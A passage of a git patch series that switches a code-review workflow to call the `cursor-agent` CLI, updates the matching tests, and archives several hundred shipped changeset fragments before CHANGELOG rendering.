ask --trust 2>/dev/null > /tmp/gsd-review-cursor-{phase}.md +# cursor-agent is a SEPARATE binary from the `cursor` IDE launcher; print mode (-p) takes the +# prompt as an ARGUMENT, not stdin. A full review prompt can exceed the OS argument limit, so +# reference the prompt file by path rather than inlining it. Capture stderr so a failure is +# diagnosable instead of a silent empty result. +CURSOR_PROMPT_ARG="Read the file at /tmp/gsd-review-prompt-{phase}.md in full and carry out the review request it contains. Output only the resulting markdown review. Do not edit any files." +cursor-agent -p --mode ask --trust --output-format text "$CURSOR_PROMPT_ARG" 2>/tmp/gsd-review-cursor-{phase}.err > /tmp/gsd-review-cursor-{phase}.md if [ ! -s /tmp/gsd-review-cursor-{phase}.md ]; then - echo "Cursor review failed or returned empty output." > /tmp/gsd-review-cursor-{phase}.md + echo "Cursor review failed or returned empty output. stderr:" > /tmp/gsd-review-cursor-{phase}.md + cat /tmp/gsd-review-cursor-{phase}.err >> /tmp/gsd-review-cursor-{phase}.md fi ``` diff --git a/tests/cursor-reviewer.test.cjs b/tests/cursor-reviewer.test.cjs index aafecb134..e185cd528 100644 --- a/tests/cursor-reviewer.test.cjs +++ b/tests/cursor-reviewer.test.cjs @@ -36,11 +36,11 @@ describe('Cursor CLI reviewer in /gsd-review (#1960)', () => { content = fs.readFileSync(reviewPath, 'utf-8'); }); - test('contains cursor CLI detection via command -v', () => { + test('contains cursor CLI detection via command -v cursor-agent', () => { const c = fs.readFileSync(reviewPath, 'utf-8'); assert.ok( - c.includes('command -v cursor'), - 'review.md should detect cursor CLI via "command -v cursor"' + c.includes('command -v cursor-agent'), + 'review.md should detect cursor CLI via "command -v cursor-agent" (not the cursor IDE launcher)' ); }); @@ -60,11 +60,47 @@ describe('Cursor CLI reviewer in /gsd-review (#1960)', () => { ); }); - test('contains cursor agent invocation command', () => { + test('invocation uses cursor-agent single binary with -p flag', () => { const c = fs.readFileSync(reviewPath, 'utf-8'); assert.ok( - c.includes('cursor agent -p --mode ask --trust'), - 'review.md should invoke cursor via "cursor agent -p --mode ask --trust"' + c.includes('cursor-agent -p'), + 'review.md should invoke cursor via "cursor-agent -p" (single binary, not two-token "cursor agent")' + ); + }); + + test('invocation includes --output-format text', () => { + const c = fs.readFileSync(reviewPath, 'utf-8'); + assert.ok( + c.includes('--output-format text'), + 'review.md cursor-agent invocation should include "--output-format text"' + ); + }); + + test('invocation passes prompt as a file-path argument (not via stdin pipe)', () => { + const c = fs.readFileSync(reviewPath, 'utf-8'); + assert.ok( + c.includes('Read the file at /tmp/gsd-review-prompt-'), + 'review.md cursor-agent invocation should pass prompt by referencing the file path as an argument' + ); + }); + + test('does NOT use broken two-token "cursor agent " form', () => { + const c = fs.readFileSync(reviewPath, 'utf-8'); + // Must not match "cursor agent " (cursor + space + agent + space) + // The hyphenated "cursor-agent" must NOT trip this check — the regex uses a space, not a hyphen. + assert.ok( + !/cursor agent /.test(c), + 'review.md must NOT contain the broken two-token form "cursor agent " (use "cursor-agent" instead)' + ); + }); + + test('does NOT pipe the prompt into a cursor command via stdin', () => { + const c = fs.readFileSync(reviewPath, 'utf-8'); + // Must not match a pipe feeding into a cursor command (e.g. "| cursor" or "|cursor") + // "cursor-agent" (hyphenated) must NOT trip this — the regex anchors on "cursor" not followed by "-agent" + assert.ok( + !/\| *cursor(?!-agent)/.test(c), + 'review.md must NOT pipe the prompt to a cursor command via stdin' ); }); From 8616839cab1540d15482d730a038fb103d45da95 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Fri, 5 Jun 2026 14:53:17 -0400 Subject: [PATCH 16/94] chore: archive 463 shipped changeset fragments before wiring render (#714) CHANGELOG promotion was a manual operator step that was never run, so 463 fragments for work already shipped in <=1.3.1 accumulated in .changeset/. Their notes were already hand-curated into the dated [1.2.0]/[1.3.0]/[1.3.1] CHANGELOG sections (#690 backfill, PR #694). Rendering them now would duplicate and mis-attribute shipped work. Move them to .changeset/archived/ (read non-recursively by all changeset tooling, so never rendered), keeping only the 3 genuinely-unreleased fragments at the top level. Prep for wiring `render` into the release finalize job (#690 follow-up). Co-authored-by: Claude Opus 4.8 --- .changeset/README.md | 4 ++++ .../105-no-auto-switch-worktrees-false.md | 0 .../113-malicious-markdown-links.md | 0 .../{ => archived}/117-npm-bootstrap.md | 0 .../130-finishinstall-testmode-guard.md | 0 .../138-nyquist-config-get-default.md | 0 .../{ => archived}/14-progress-auto-flag.md | 0 .../142-runtime-name-policy-aliases.md | 0 .../160-route0-resume-incomplete-phase.md | 0 .../166-windows-claude-sh-hook-command.md | 0 .../{ => archived}/167-query-meta-command.md | 0 .../170-workflow-fallback-package-hint.md | 0 .../176-hub-p1.2-review-findings.md | 0 .../176-typed-result-discriminated-union.md | 0 .../{ => archived}/177-observability-seam.md | 0 .../178-trace-id-propagation.md | 0 .../191-retire-sdk-package-seam.md | 0 .../192-retire-sdk-release-pipeline.md | 0 .../195-workflow-gsd-tools-query.md | 0 .../211-launcher-claude-home-fallback.md | 0 .../213-antigravity-2-runtime-dirs.md | 0 .../245-summary-rescue-copy-failure.md | 0 .../2937-statusline-context-position.md | 0 .../{ => archived}/3033-sdk-flag-wired.md | 0 .../308-websearch-timeout-retry.md | 0 .../3095-quota-failure-classification.md | 0 .../311-subrepo-routing-index.md | 0 .../312-arg-projection-single-pass.md | 0 .../{ => archived}/314-roadmap-plan-id-map.md | 0 .../{ => archived}/315-subrepo-detect-memo.md | 0 .../3156-plan-phase-opencode-dispatch.md | 0 .../316-state-lock-buffer-hoist.md | 0 .../3166-graphify-inline-build.md | 0 .../3170-graphify-commit-staleness.md | 0 .../{ => archived}/3184-phase-uat-passed.md | 0 .../3195-quick-resurrection-guard.md | 0 .../3198-retrospective-canonical.md | 0 .../320-hoist-state-table-regex.md | 0 .../3210-fallow-structural-review.md | 0 .../{ => archived}/3251-non-family-aliases.md | 0 .../3262-extract-scan-phase-plans.md | 0 .../{ => archived}/3271-sdk-adr-structure.md | 0 .../3298-phase-dir-prefix-drift-workflows.md | 0 .../33-model-profile-adaptive.md | 0 .../3312-sdk-first-architecture-seams.md | 0 .../{ => archived}/3346-codex-aot-toml-key.md | 0 .../3347-graphify-auto-update-hook.md | 0 .../338-local-install-settings-local-json.md | 0 .../3409-phase-remove-force-position.md | 0 .../3450-shell-projection-merge-repair.md | 0 .../3488-decimal-phase-depends-on.md | 0 .../3489-complete-phase-idempotent.md | 0 .../3491-nested-git-detection.md | 0 .../3493-extract-milestone-generic-heading.md | 0 .../3517-phase-complete-state-staleness.md | 0 .../{ => archived}/3537-phase-regex-fanout.md | 0 ...taller-migration-prompt-user-resolution.md | 0 .../3542-executor-git-stash-prohibition.md | 0 .../3544-workstream-inventory-builder.md | 0 .../3562-codex-install-skill-surface.md | 0 .../3566-codex-hooks-canonical-feature-key.md | 0 ...1-configuration-manifest-install-layout.md | 0 ...3577-adr-violations-and-validation-port.md | 0 .../3577-config-ensure-section-parity.md | 0 .../{ => archived}/3577-docker-test-fixup.md | 0 ...89-planning-paths-workstream-validation.md | 0 .../3591-gsdtools-native-workstream.md | 0 .../3593-cli-negative-matrix-harness.md | 0 .../3594-parser-adversarial-fixtures.md | 0 .../3595-fs-fault-injection-atomic-write.md | 0 .../3597-test-suite-split-node-matrix.md | 0 .../3597-windows-argv-overflow.md | 0 ...9-roadmap-get-phase-project-code-prefix.md | 0 ...600-milestone-phase-filter-project-code.md | 0 .../3601-phase-remove-decimal-section-loss.md | 0 .../3602-phase-remove-slugged-plan-refs.md | 0 .../3605-stale-agent-command-refs.md | 0 .../3608-antigravity-update-runtime.md | 0 ...610-codex-install-bundled-hooks-blocker.md | 0 .../3621-cherry-pick-test-fixtures.md | 0 .../3628-bundled-hook-whitelist.md | 0 .../3643-resolve-model-claude-runtime.md | 0 ...653-graphify-hook-sdk-commit-visibility.md | 0 .../3689-resume-glob-nomatch-fix.md | 0 ...370-affected-tests-exclude-install-slow.md | 0 .../3707-worktree-orphan-reap.md | 0 .../3740-consolidate-phase-tests.md | 0 .../3742-consolidate-worktree-tests.md | 0 .../3753-consolidate-milestone-tests.md | 0 .../3755-consolidate-init-tests.md | 0 ...757-consolidate-runtime-artifact-layout.md | 0 .../3758-consolidate-installer-tests.md | 0 .../376-claude-js-hook-gsd-rewriter.md | 0 .../3761-consolidate-graphify-tests.md | 0 .../3772-fix-acquirestatelock-non-eexist.md | 0 ...76-fix-acquirestatelock-retry-allowlist.md | 0 .../378-update-check-scoped-name.md | 0 .../3804-worktree-cleanup-summary-rescue.md | 0 .../3805-fast-md-log-to-state-schema-aware.md | 0 .../3806-cjs-bundle-drift-w005-w006-i001.md | 0 .../3808-codex-adapter-text-mode-fallback.md | 0 .../3815-phase-insert-bullet-roadmap.md | 0 .../3816-milestone-archive-version-sort.md | 0 .../384-agents-dir-runtime-aware.md | 0 .../397-state-preserve-executor-authored.md | 0 .../407-planning-lock-sab-hoist.md | 0 .../408-ci-test-scope-smoke-alignment.md | 0 .../410-install-defaults-test-mode-guard.md | 0 .../416-active-milestone-archive-null.md | 0 .../442-config-dir-equals-truncation.md | 0 .../444-resolver-local-claude-path.md | 0 .../498-package-identity-seam.md | 0 .../5-decision-coverage-xml-bodies.md | 0 .../501-flat-phase-details-milestone-leak.md | 0 .../503-antigravity-agent-local-detection.md | 0 .../{ => archived}/546-changelog-1-2-0.md | 0 .../549-total-phases-decimal-overcounting.md | 0 .../557-details-summary-milestone-strip.md | 0 .../566-spawn-liveness-banner.md | 0 .../604-rename-get-shit-done-to-gsd-core.md | 0 .../614-discuss-phase-shim-resolution.md | 0 .changeset/archived/README.md | 20 +++++++++++++++++++ .../adr-0002-command-contract-validation.md | 0 .../{ => archived}/agile-birds-cheer.md | 0 .../{ => archived}/blue-stones-topology.md | 0 .changeset/{ => archived}/bold-elks-zip.md | 0 .../{ => archived}/bold-finches-rally.md | 0 .changeset/{ => archived}/bold-orcas-howl.md | 0 .changeset/{ => archived}/brave-mice-build.md | 0 .../{ => archived}/brave-wolves-rally.md | 0 .../{ => archived}/bright-pumas-fold.md | 0 ...bug-3446-resume-continue-here-discovery.md | 0 .../build-hooks-atomic-write.md | 0 .changeset/{ => archived}/calm-birds-greet.md | 0 .changeset/{ => archived}/calm-cranes-roar.md | 0 .changeset/{ => archived}/calm-herons-wake.md | 0 .changeset/{ => archived}/calm-ibex-jump.md | 0 .changeset/{ => archived}/calm-koalas-hop.md | 0 .../{ => archived}/calm-tigers-click.md | 0 .../{ => archived}/calm-tigers-frolic.md | 0 .../{ => archived}/careful-model-transport.md | 0 .../{ => archived}/clever-deer-wander.md | 0 .../{ => archived}/clever-pumas-frolic.md | 0 .../{ => archived}/clever-wasps-parade.md | 0 .../{ => archived}/clever-yaks-cheer.md | 0 .../{ => archived}/clever-zebras-snooze.md | 0 .../code-review-flags-ts-migration.md | 0 .../code-review-leaf-batch-1-ts.md | 0 .../{ => archived}/codex-bare-node-fix.md | 0 .../{ => archived}/codex-discuss-fallback.md | 0 .../codex-windows-bash-runner.md | 0 .../codex-windows-hook-script-paths.md | 0 .../{ => archived}/cool-monkeys-smell.md | 0 .../{ => archived}/crisp-seams-align.md | 0 .../{ => archived}/curious-bears-march.md | 0 .../{ => archived}/curious-bears-zip.md | 0 .../{ => archived}/curious-cats-parade.md | 0 .../{ => archived}/curious-lynx-travel.md | 0 .../{ => archived}/curious-tigers-jump.md | 0 .../{ => archived}/daring-badgers-munch.md | 0 .changeset/{ => archived}/daring-yaks-zip.md | 0 .../{ => archived}/disable-milestone-tags.md | 0 .../{ => archived}/docs-1-40-0-audit.md | 0 .changeset/{ => archived}/dynamic-routing.md | 0 .../{ => archived}/eager-badgers-purr.md | 0 .changeset/{ => archived}/eager-elks-purr.md | 0 .changeset/{ => archived}/eager-elks-romp.md | 0 .changeset/{ => archived}/eager-foxes-zip.md | 0 .../{ => archived}/eager-hawks-rally.md | 0 .changeset/{ => archived}/eager-koalas-zip.md | 0 .../{ => archived}/eager-lynx-chatter.md | 0 .changeset/{ => archived}/eager-lynx-munch.md | 0 .../{ => archived}/eager-pumas-dance.md | 0 .../{ => archived}/eager-wolves-tumble.md | 0 .changeset/{ => archived}/fair-hawks-play.md | 0 .../feat-3408-skill-profiles.md | 0 .../{ => archived}/feat-3408-skill-surface.md | 0 .../{ => archived}/feat-41-ship-tdd-audit.md | 0 .../{ => archived}/fierce-birds-wake.md | 0 .../{ => archived}/fierce-finches-munch.md | 0 .../{ => archived}/fierce-geese-march.md | 0 .changeset/{ => archived}/fierce-rams-rest.md | 0 .../fix-3-milestone-complete-noise.md | 0 .../fix-3054-doc-anchor-and-token-check.md | 0 .../fix-3056-worktree-path-assertion.md | 0 .../fix-306-learnings-dedupe-index.md | 0 .../fix-3072-findings-probe-assertions.md | 0 .../fix-3087-planner-directive-language.md | 0 ...-3088-milestone-state-fallback-sections.md | 0 .../fix-3094-progress-stale-assumptions.md | 0 .../fix-3096-ai-integration-parallel-race.md | 0 .../fix-3097-3099-executor-worktree-path.md | 0 .../fix-3120-secure-phase-empty-register.md | 0 .../fix-3121-gsd-tools-commands-verb.md | 0 .../fix-3126-global-skills-base-runtime.md | 0 .../fix-3127-state-begin-phase-idempotent.md | 0 .../fix-3128-roadmap-plan-count-slug.md | 0 .../fix-3129-validate-commit-bypass.md | 0 .../fix-3130-update-npx-robust.md | 0 .../fix-3135-capture-backlog-workflow.md | 0 ...-3150-stats-json-decimal-gap-regression.md | 0 ...fix-3153-statusline-percent-next-phases.md | 0 .../fix-3163-codex-agents-md.md | 0 .../fix-3196-workstream-milestone-op.md | 0 .../fix-3197-gsd-tools-config-whitelist.md | 0 .../fix-3229-model-catalog-source-of-truth.md | 0 .../fix-3321-verifier-probes.md | 0 ...-3339-human-needed-verification-pending.md | 0 .../fix-3344-gemini-agent-tool.md | 0 .../fix-3355-phase-remove-roadmap-renumber.md | 0 .../fix-3357-codex-legacy-hooks-json.md | 0 .../fix-3358-sdk-init-progress-models.md | 0 .../fix-3359-stale-sdk-path-version.md | 0 .../fix-3360-codex-execute-worktrees.md | 0 .../fix-3362-windows-powershell-gemini.md | 0 .../fix-3381-init-verify-work-ws.md | 0 .../fix-3384-worktree-merge-safety.md | 0 .../fix-3406-detect-stale-sdk-shadow.md | 0 .../fix-3509-path-spaces-test-suite.md | 0 .../fix-3579-graphify-hook-publish.md | 0 .../fix-3588-npm-audit-clean.md | 0 .../fix-3631-sdk-raw-flag-routers.md | 0 .../fix-3632-lint-handsync-pair-fanout.md | 0 .../fix-3677-agent-colon-namespace-leak.md | 0 .../fix-3678-commit-docs-respect.md | 0 .../fix-canary-2-release-gates.md | 0 .../fix-next-gate-regressions.md | 0 .../{ => archived}/forensics-regex-escape.md | 0 .../{ => archived}/gallant-badgers-bark.md | 0 .../{ => archived}/gallant-ravens-travel.md | 0 .../gemini-skip-local-when-global.md | 0 .../{ => archived}/gentle-bears-wave.md | 0 .../{ => archived}/gentle-birds-caper.md | 0 .changeset/{ => archived}/gentle-goats-fly.md | 0 .changeset/{ => archived}/gentle-jays-rest.md | 0 .changeset/{ => archived}/gentle-jays-zip.md | 0 .../{ => archived}/gentle-tigers-roar.md | 0 .../{ => archived}/graceful-geese-tumble.md | 0 .../{ => archived}/graceful-jays-hop.md | 0 .../{ => archived}/graceful-mice-wave.md | 0 .../{ => archived}/graceful-moles-wave.md | 0 .../{ => archived}/graceful-otters-wave.md | 0 .../{ => archived}/graceful-quails-hop.md | 0 .../{ => archived}/graceful-sloths-wake.md | 0 .../{ => archived}/graceful-tigers-fly.md | 0 .../{ => archived}/happy-dogs-chatter.md | 0 .../{ => archived}/happy-herons-snooze.md | 0 .changeset/{ => archived}/happy-jays-greet.md | 0 .changeset/{ => archived}/happy-jays-wake.md | 0 .../{ => archived}/happy-pandas-glide.md | 0 .../{ => archived}/happy-tigers-travel.md | 0 .changeset/{ => archived}/help-passthrough.md | 0 .../{ => archived}/humble-geese-wave.md | 0 .../{ => archived}/humble-goats-swim.md | 0 .../{ => archived}/humble-pandas-wave.md | 0 .../{ => archived}/humble-tunas-leap.md | 0 .changeset/{ => archived}/humble-tunas-zip.md | 0 .../install-shell-path-probe.md | 0 .../issue-driven-orchestration.md | 0 .../{ => archived}/jolly-cranes-chatter.md | 0 .../{ => archived}/jolly-hawks-forage.md | 0 .../{ => archived}/jolly-jaguars-leap.md | 0 .../{ => archived}/jolly-moles-climb.md | 0 .changeset/{ => archived}/jolly-newts-roam.md | 0 .../{ => archived}/jolly-pandas-parade.md | 0 .../{ => archived}/jolly-pumas-dance.md | 0 .../{ => archived}/jolly-quails-caper.md | 0 .changeset/{ => archived}/jolly-wolves-hop.md | 0 .changeset/{ => archived}/kind-foxes-click.md | 0 .changeset/{ => archived}/kind-moles-dance.md | 0 .../{ => archived}/kind-tunas-gather.md | 0 .../{ => archived}/lively-bears-sprint.md | 0 .../{ => archived}/lively-foxes-roam.md | 0 .changeset/{ => archived}/lively-goats-run.md | 0 .../{ => archived}/lively-lemurs-glide.md | 0 .../{ => archived}/lively-moles-caper.md | 0 .../{ => archived}/lively-newts-romp.md | 0 .../{ => archived}/lively-otters-gather.md | 0 .../{ => archived}/lucid-docs-rebrand.md | 0 .changeset/{ => archived}/lucky-birds-bark.md | 0 .changeset/{ => archived}/lucky-lynx-wave.md | 0 .../{ => archived}/mcp-token-budget-docs.md | 0 .../{ => archived}/mellow-hawks-greet.md | 0 .../{ => archived}/mellow-herons-greet.md | 0 .../{ => archived}/mellow-lemurs-click.md | 0 .../{ => archived}/mellow-lynx-forage.md | 0 .../{ => archived}/mellow-mice-forage.md | 0 .../{ => archived}/mellow-tigers-gather.md | 0 .../{ => archived}/merry-foxes-climb.md | 0 .changeset/{ => archived}/merry-lynx-sing.md | 0 .../{ => archived}/merry-lynx-wander.md | 0 .../{ => archived}/merry-moles-chatter.md | 0 .../{ => archived}/merry-quails-roam.md | 0 .../{ => archived}/migration-batch-10-ts.md | 0 .../{ => archived}/migration-batch-11-ts.md | 0 .../{ => archived}/migration-batch-12-ts.md | 0 .../{ => archived}/migration-batch-13-ts.md | 0 .../{ => archived}/migration-batch-14-ts.md | 0 .../{ => archived}/migration-batch-15-ts.md | 0 .../{ => archived}/migration-batch-2-ts.md | 0 .../{ => archived}/migration-batch-3-ts.md | 0 .../{ => archived}/migration-batch-4-ts.md | 0 .../{ => archived}/migration-batch-5-ts.md | 0 .../{ => archived}/migration-batch-6-ts.md | 0 .../{ => archived}/migration-batch-7-ts.md | 0 .../{ => archived}/migration-batch-8-ts.md | 0 .../{ => archived}/migration-core-ts.md | 0 .../{ => archived}/migration-finalize-ts.md | 0 .../{ => archived}/migration-milestone-ts.md | 0 .../mvp-concept-cleanup-canary-prep.md | 0 .../mvp-resolution-verbs-and-fix-sdk-mode.md | 0 .../new-project-agent-diagnostics.md | 0 .../{ => archived}/nimble-deer-chatter.md | 0 .../{ => archived}/nimble-eagles-romp.md | 0 .../{ => archived}/nimble-lynx-tumble.md | 0 .../{ => archived}/nimble-seals-munch.md | 0 .../{ => archived}/nimble-sloths-zip.md | 0 .../{ => archived}/nimble-wolves-dart.md | 0 .../{ => archived}/noble-badgers-roar.md | 0 .../{ => archived}/noble-jaguars-squeak.md | 0 .../{ => archived}/noble-mice-squeak.md | 0 .changeset/{ => archived}/noble-otters-hop.md | 0 .../{ => archived}/noble-tigers-parade.md | 0 .changeset/{ => archived}/noble-yaks-zip.md | 0 .../{ => archived}/opengsd-org-rename.md | 0 .../{ => archived}/patient-ibex-gather.md | 0 .../{ => archived}/patient-ibex-wake.md | 0 .../{ => archived}/patient-lemurs-sing.md | 0 .../{ => archived}/patient-voles-swim.md | 0 .../{ => archived}/per-phase-type-models.md | 0 ...ase-five-installer-migration-guardrails.md | 0 .changeset/{ => archived}/plucky-cats-purr.md | 0 .../{ => archived}/plucky-eagles-roar.md | 0 .../{ => archived}/plucky-herons-sing.md | 0 .../{ => archived}/plucky-ibex-gather.md | 0 .../{ => archived}/plucky-lemurs-dance.md | 0 .../{ => archived}/plucky-moles-roam.md | 0 .../{ => archived}/plucky-otters-roam.md | 0 .../{ => archived}/plucky-pandas-sprint.md | 0 .../{ => archived}/plucky-pumas-tumble.md | 0 .../{ => archived}/plucky-rams-climb.md | 0 .../{ => archived}/plucky-tunas-howl.md | 0 .../{ => archived}/plucky-yaks-forage.md | 0 .../portable-bash-shebang-hooks.md | 0 .../{ => archived}/pr-3112-release-note.md | 0 .../{ => archived}/pr-3113-release-note.md | 0 .../{ => archived}/pr-3115-release-note.md | 0 .../{ => archived}/pr-3116-release-note.md | 0 .../{ => archived}/pr-3118-release-note.md | 0 .../{ => archived}/pr-3123-release-note.md | 0 .../{ => archived}/pr-3124-release-note.md | 0 .../{ => archived}/pr-3125-release-note.md | 0 .../{ => archived}/proud-elks-snooze.md | 0 .../{ => archived}/proud-sloths-rally.md | 0 .../{ => archived}/quick-cranes-purr.md | 0 .../{ => archived}/quick-deer-squeak.md | 0 .changeset/{ => archived}/quick-geese-hum.md | 0 .changeset/{ => archived}/quick-otters-run.md | 0 .changeset/{ => archived}/quick-pumas-fly.md | 0 .../{ => archived}/quick-quails-wake.md | 0 .changeset/{ => archived}/quick-rams-wave.md | 0 .../{ => archived}/quick-voles-sprint.md | 0 .../{ => archived}/quiet-geckos-switch.md | 0 .changeset/{ => archived}/rapid-dogs-run.md | 0 .../{ => archived}/rapid-goats-munch.md | 0 .changeset/{ => archived}/rapid-voles-hop.md | 0 .../research-flag-and-stale-refs.md | 0 .../rewire-orphaned-workflows-3131.md | 0 .../scrub-stale-command-routes.md | 0 .../{ => archived}/sdk-init-phase-flags.md | 0 .../{ => archived}/serene-pandas-zip.md | 0 .../{ => archived}/sharp-badgers-squeak.md | 0 .../{ => archived}/sharp-quails-leap.md | 0 .changeset/{ => archived}/sharp-yaks-climb.md | 0 .../shell-projection-cleanup.md | 0 .../shell-projection-fs-migration.md | 0 .../shell-projection-io-seam.md | 0 .../shell-projection-subprocess-migration.md | 0 .../ship-verification-actionable.md | 0 .../{ => archived}/silly-badgers-frolic.md | 0 .../{ => archived}/silly-finches-travel.md | 0 .changeset/{ => archived}/silly-foxes-sing.md | 0 .../{ => archived}/silly-foxes-wander.md | 0 .../{ => archived}/silly-jaguars-sing.md | 0 .../{ => archived}/silly-jaguars-swim.md | 0 .changeset/{ => archived}/silly-newts-swim.md | 0 .../{ => archived}/silly-orcas-dance.md | 0 .../{ => archived}/silly-seals-parade.md | 0 .../{ => archived}/silly-yaks-parade.md | 0 .../{ => archived}/steady-badgers-rest.md | 0 .../{ => archived}/steady-bears-purr.md | 0 .changeset/{ => archived}/steady-geese-hum.md | 0 .../{ => archived}/steady-jays-click.md | 0 .changeset/{ => archived}/steady-jays-sing.md | 0 .../{ => archived}/steady-pandas-purr.md | 0 .../{ => archived}/steady-ravens-shape.md | 0 .../{ => archived}/steady-shell-projection.md | 0 .../{ => archived}/steady-yaks-caper.md | 0 .../{ => archived}/steady-zebras-click.md | 0 .../{ => archived}/sturdy-finches-fly.md | 0 .../{ => archived}/sturdy-finches-sprint.md | 0 .../{ => archived}/sturdy-geese-glide.md | 0 .../{ => archived}/sturdy-geese-roam.md | 0 .../{ => archived}/sturdy-jays-glide.md | 0 .../{ => archived}/sturdy-lynx-forage.md | 0 .../{ => archived}/sturdy-lynx-march.md | 0 .../{ => archived}/sturdy-moles-bark.md | 0 .../{ => archived}/sturdy-otters-purr.md | 0 .../{ => archived}/sturdy-pandas-rest.md | 0 .../{ => archived}/sturdy-pumas-sing.md | 0 .../{ => archived}/sturdy-rams-caper.md | 0 .../{ => archived}/sturdy-rams-forage.md | 0 .../{ => archived}/sturdy-sloths-hum.md | 0 .../{ => archived}/sturdy-wolves-frolic.md | 0 .../{ => archived}/sturdy-wolves-glide.md | 0 .../{ => archived}/sturdy-writers-survive.md | 0 .../{ => archived}/sunny-dogs-frolic.md | 0 .../{ => archived}/sunny-herons-bark.md | 0 .changeset/{ => archived}/sunny-ibex-wave.md | 0 .changeset/{ => archived}/sunny-lynx-rally.md | 0 .../{ => archived}/sunny-pandas-dance.md | 0 .../{ => archived}/sunny-quails-swim.md | 0 .../{ => archived}/swift-coyotes-document.md | 0 .changeset/{ => archived}/swift-otter-hum.md | 0 .../{ => archived}/swift-otter-pebble.md | 0 .../{ => archived}/swift-sets-dedupe.md | 0 .../{ => archived}/tidy-finches-caper.md | 0 .changeset/{ => archived}/tidy-goats-cheer.md | 0 .../{ => archived}/tidy-herons-dance.md | 0 .changeset/{ => archived}/tidy-moles-rest.md | 0 .changeset/{ => archived}/tidy-orcas-romp.md | 0 .../{ => archived}/tidy-tigers-dance.md | 0 .changeset/{ => archived}/tidy-tunas-zip.md | 0 .changeset/{ => archived}/tidy-voles-rally.md | 0 .../{ => archived}/typed-json-surfaces-455.md | 0 .../{ => archived}/typed-rivers-flow.md | 0 .../{ => archived}/update-banner-opt-in.md | 0 .../{ => archived}/verifier-debt-gate.md | 0 .../{ => archived}/vivid-eagles-climb.md | 0 .changeset/{ => archived}/vivid-foxes-romp.md | 0 .../{ => archived}/vivid-jaguars-tumble.md | 0 .changeset/{ => archived}/vivid-tunas-sing.md | 0 .../w005-w006-i001-generator-migration.md | 0 .../{ => archived}/windows-npm-shell-fix.md | 0 .changeset/{ => archived}/wise-foxes-romp.md | 0 .changeset/{ => archived}/wise-hawks-bark.md | 0 .../{ => archived}/wise-koalas-climb.md | 0 .changeset/{ => archived}/wise-mice-cheer.md | 0 .changeset/{ => archived}/wise-pumas-glide.md | 0 .changeset/{ => archived}/wise-pumas-march.md | 0 .changeset/{ => archived}/wise-rams-gather.md | 0 .changeset/{ => archived}/wise-yaks-run.md | 0 .../{ => archived}/witty-bears-climb.md | 0 .changeset/{ => archived}/witty-geese-purr.md | 0 .changeset/{ => archived}/witty-hawks-jump.md | 0 .../{ => archived}/witty-newts-greet.md | 0 .changeset/{ => archived}/witty-wasps-hum.md | 0 .../{ => archived}/yaml-echo-colon-escape.md | 0 .changeset/{ => archived}/zesty-eagles-fly.md | 0 .changeset/{ => archived}/zesty-goats-dart.md | 0 .changeset/{ => archived}/zesty-jays-wake.md | 0 .../{ => archived}/zesty-moles-forage.md | 0 .../{ => archived}/zesty-quails-wave.md | 0 .../{ => archived}/zesty-ravens-rest.md | 0 .changeset/{ => archived}/zesty-voles-roar.md | 0 465 files changed, 24 insertions(+) rename .changeset/{ => archived}/105-no-auto-switch-worktrees-false.md (100%) rename .changeset/{ => archived}/113-malicious-markdown-links.md (100%) rename .changeset/{ => archived}/117-npm-bootstrap.md (100%) rename .changeset/{ => archived}/130-finishinstall-testmode-guard.md (100%) rename .changeset/{ => archived}/138-nyquist-config-get-default.md (100%) rename .changeset/{ => archived}/14-progress-auto-flag.md (100%) rename .changeset/{ => archived}/142-runtime-name-policy-aliases.md (100%) rename .changeset/{ => archived}/160-route0-resume-incomplete-phase.md (100%) rename .changeset/{ => archived}/166-windows-claude-sh-hook-command.md (100%) rename .changeset/{ => archived}/167-query-meta-command.md (100%) rename .changeset/{ => archived}/170-workflow-fallback-package-hint.md (100%) rename .changeset/{ => archived}/176-hub-p1.2-review-findings.md (100%) rename .changeset/{ => archived}/176-typed-result-discriminated-union.md (100%) rename .changeset/{ => archived}/177-observability-seam.md (100%) rename .changeset/{ => archived}/178-trace-id-propagation.md (100%) rename .changeset/{ => archived}/191-retire-sdk-package-seam.md (100%) rename .changeset/{ => archived}/192-retire-sdk-release-pipeline.md (100%) rename .changeset/{ => archived}/195-workflow-gsd-tools-query.md (100%) rename .changeset/{ => archived}/211-launcher-claude-home-fallback.md (100%) rename .changeset/{ => archived}/213-antigravity-2-runtime-dirs.md (100%) rename .changeset/{ => archived}/245-summary-rescue-copy-failure.md (100%) rename .changeset/{ => archived}/2937-statusline-context-position.md (100%) rename .changeset/{ => archived}/3033-sdk-flag-wired.md (100%) rename .changeset/{ => archived}/308-websearch-timeout-retry.md (100%) rename .changeset/{ => archived}/3095-quota-failure-classification.md (100%) rename .changeset/{ => archived}/311-subrepo-routing-index.md (100%) rename .changeset/{ => archived}/312-arg-projection-single-pass.md (100%) rename .changeset/{ => archived}/314-roadmap-plan-id-map.md (100%) rename .changeset/{ => archived}/315-subrepo-detect-memo.md (100%) rename .changeset/{ => archived}/3156-plan-phase-opencode-dispatch.md (100%) rename .changeset/{ => archived}/316-state-lock-buffer-hoist.md (100%) rename .changeset/{ => archived}/3166-graphify-inline-build.md (100%) rename .changeset/{ => archived}/3170-graphify-commit-staleness.md (100%) rename .changeset/{ => archived}/3184-phase-uat-passed.md (100%) rename .changeset/{ => archived}/3195-quick-resurrection-guard.md (100%) rename .changeset/{ => archived}/3198-retrospective-canonical.md (100%) rename .changeset/{ => archived}/320-hoist-state-table-regex.md (100%) rename .changeset/{ => archived}/3210-fallow-structural-review.md (100%) rename .changeset/{ => archived}/3251-non-family-aliases.md (100%) rename .changeset/{ => archived}/3262-extract-scan-phase-plans.md (100%) rename .changeset/{ => archived}/3271-sdk-adr-structure.md (100%) rename .changeset/{ => archived}/3298-phase-dir-prefix-drift-workflows.md (100%) rename .changeset/{ => archived}/33-model-profile-adaptive.md (100%) rename .changeset/{ => archived}/3312-sdk-first-architecture-seams.md (100%) rename .changeset/{ => archived}/3346-codex-aot-toml-key.md (100%) rename .changeset/{ => archived}/3347-graphify-auto-update-hook.md (100%) rename .changeset/{ => archived}/338-local-install-settings-local-json.md (100%) rename .changeset/{ => archived}/3409-phase-remove-force-position.md (100%) rename .changeset/{ => archived}/3450-shell-projection-merge-repair.md (100%) rename .changeset/{ => archived}/3488-decimal-phase-depends-on.md (100%) rename .changeset/{ => archived}/3489-complete-phase-idempotent.md (100%) rename .changeset/{ => archived}/3491-nested-git-detection.md (100%) rename .changeset/{ => 